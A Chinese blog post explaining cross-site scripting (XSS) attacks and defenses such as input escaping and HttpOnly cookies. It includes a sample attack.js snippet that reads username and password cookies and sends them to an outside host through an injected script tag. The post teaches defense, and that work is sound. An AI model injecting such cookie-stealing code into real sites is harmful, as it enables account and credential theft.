XSS攻击是怎么回事?记录一下


title: XSS攻击

date: 2023-08-27 19:15:57

tags: [XSS, 网络安全]

categories: 网络安全


今天学习了一个网络攻击的手段,XSS攻击技术,大家自建网站的朋友,记得看看是否有此漏洞。

🎈 XSS 攻击

全称跨站脚本攻击 Cross Site Scripting

为了与重叠样式表 CSS 进行区分,所以换了另一个缩写名称 XSS。

XSS攻击者通过篡改网页,注入恶意的 HTML 脚本,一般是 javascript,在用户浏览网页时,控制用户浏览器进行恶意操作的一种攻击方式。

XSS 攻击经常使用在论坛,博客等应用中。攻击者可以偷取用户Cookie、密码等重要数据,进而伪造交易、盗取用户财产、窃取情报等私密信息。

就像上图,如果用户在评论框中输入的并不是正常的文本,而是一段 javascript 脚本,而后台又没对该用户的数据进行处理,直接存入数据库,那么当其他用户过来访问该页面,浏览器必然会执行这段脚本

当然这只是恶趣味,而真正的黑客并不会仅仅满足这样的恶趣味,可能更多的是想通过这些 注入脚本,获取你的 个人信息 ,甚至是你的账号密码等信息。

由上图可知,用户其实在评论的时候,引入了一个第三方脚本,在这个脚本中获取你浏览器的 cookie 信息,并发送到指定的接口进行保存处理,这样你的信息就已经泄露了:

复制代码
// attack.js 中的逻辑
var uname = $.cookie('username'); // 获取账号
var pwd = $.cookie('password'); // 获取密码

// 发送请求
$('body').appendTo('<script src=`http://autofelix.com/index.php?username=${uname}&password=${pwd}`></script>');

在上面逻辑中,脚本中获取了你的个人信息,并将你的个人信息发送到后端 php 文件中进行处理保存,这样你的个人信息就已经泄露了,所以杜绝 xss攻击 在网络安全中非常的重要

所以后端永远不要相信用户提交的数据,在接收用户提交的信息时候,要进行 消毒处理

也就是过滤一些特殊的字符,比如 javascript 脚本中的 <> 进行转移 <> 再进行存储,这样就能有效的进行 xss 攻击的预防

另外如果 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到cookie 信息,这样也能有效的防止 XSS 攻击窃取 cookie 内容


好记性不如烂笔头。

相关推荐
掘金安东尼2 分钟前
解读 hidden=until-found 属性
前端·javascript·面试
小张的博客之旅7 分钟前
宁波市第八届网络安全大赛初赛(REVERSE-Writeup)
学习·网络安全·reverse
1024小神11 分钟前
jsPDF 不同屏幕尺寸 生成的pdf不一致,怎么解决
前端·javascript
滕本尊11 分钟前
构建可扩展的 DSL 驱动前端框架:从 CRUD 到领域模型的跃迁
前端·全栈
借月12 分钟前
高德地图绘制工具全解析:线路、矩形、圆形、多边形绘制与编辑指南 🗺️✏️
前端·vue.js
li理12 分钟前
NavPathStack 是鸿蒙 Navigation 路由的核心控制器
前端
二闹15 分钟前
一招帮你记住上次读到哪儿了?
前端
li理19 分钟前
核心概念:Navigation路由生命周期是什么
前端
古夕21 分钟前
my-first-ai-web_问题记录02:Next.js 15 动态路由参数处理
前端·javascript·react.js
梦里寻码21 分钟前
自行食用 uniapp 多端 手写签名组件
前端·uni-app